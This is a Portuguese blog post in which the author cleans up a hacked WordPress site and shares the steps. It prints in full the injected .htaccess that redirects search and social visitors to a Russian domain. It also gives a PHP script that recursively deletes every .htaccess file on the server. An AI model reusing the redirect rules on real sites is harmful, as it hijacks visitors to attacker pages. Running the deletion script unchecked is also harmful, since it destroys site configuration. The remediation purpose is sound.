Hoje por me ter lembrado de fazer o update ao WordPress via o Fantastico deparei-me com a novela do meu servidor ter sido “hackado”.

Ninguém me manda ter passwords de FTP como por exemplo: 122333444455555666666 – Tive o que mereci!

Então sempre que clickava onde quer que fosse no blog, inclusivé no link para fazer o update à DB após o update do WP, era apontado para:

http://prohibited-hotlinking.ru/access/index.php

Como estava no trabalho e a proxy de lá não me deixa ter ssh e eu ando um menino bem comportado e não quero mesmo usar túneis ssh só resolvi agora.

Como deve haver mais pessoas com o mesmo problema agora ou no futuro aqui fica:

1- mudem as passwords de shell e ftp

2- se fizerem cat .htaccess devem ter algo do género abaixo

<IfModule mod_rewrite.c>
 RewriteEngine On
 RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite

|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search

|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport

|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9

|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat

|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider

|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet

|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase

|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv).(.*)
 RewriteRule ^(.*)$ http://prohibited-hotlinking.ru/access/index.php [R=301,L]
 RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online

|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo

|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe

|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio

|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired

|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac

|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information

|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages

|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline).(.*)

RewriteRule ^(.*)$ http://prohibited-hotlinking.ru/access/index.php [R=301,L]
 </IfModule>

ErrorDocument 400 http://prohibited-hotlinking.ru/access/index.php
 ErrorDocument 401 http://prohibited-hotlinking.ru/access/index.php
 ErrorDocument 403 http://prohibited-hotlinking.ru/access/index.php
 ErrorDocument 404 http://prohibited-hotlinking.ru/access/index.php
 ErrorDocument 500 http://prohibited-hotlinking.ru/access/index.php

Fazendo uso do bom português e portuense que me orgulho de ser … “Aqui está o FDP!!!!”

3-Encontrado que está o gato podem fazer a coisa bem e rápida ou como preferirem.

• Bem e rápida :

<?php

function searchDir($dir) {
 $dhandle = opendir($dir);
 if ($dhandle) {
 // loop through it
 while (false !== ($fname = readdir($dhandle))) {
 // if the element is a directory, and
 // does not start with a '.' or '..'
 // we call deleteDir function recursively
 // passing this element as a parameter
 if (is_dir( "{$dir}/{$fname}" )) {
 if (($fname != '.') && ($fname != '..')) {
 echo "<u>Searching Files in the Directory</u>: {$dir}/{$fname} <br />";
 searchDir("$dir/$fname");
 }
 // the element is a file, so we delete it
 } else {
 if($fname == ".htaccess")
 {
 echo "File: {$dir}/{$fname} <br />";
 unlink("{$dir}/{$fname}");
 }
 }
 }
 closedir($dhandle);
 }
 }

searchDir(".");

?>

Copiar isto e salvar como qualquercoisaquemevaiapagaroshtaccess.php, mandar para a root do server e aceder a ele via browser que se encarregará de encontrar e apagar (espero eu) os .htaccess todos;

• Como preferirem:

Eu uso muito o terminal, já estava por ssh pendurado e já…. “rm .htaccess” a todos que encontrei.

4- posto isto, criar 1 .htaccess e fazer upload dele para o folder do WP

# BEGIN WordPress

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteBase /

RewriteRule ^index.php$ - [L]

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteRule . /index.php [L]

</IfModule>

# END WordPress

(E sim, só coloquei um no wordpress.)

5- Importante será fazer 1 chmod 444 .htaccess  para impedir que o quer que seja escreva nele outra vez.

E o que é que poderia escrever nele? Ora eu depois investiguei um pouco e constatei que no wp-config.php após o <?php  estava uma monte de tralha em base64 mesmo antes dos dados da DB, também providenciei de apagar isso e fazer upload de novo.

E agora está tudo operacional  :)

Pelo sim pelo não, vou reinstalar o WP durante o fim-de-semana mas até lá está resolvido.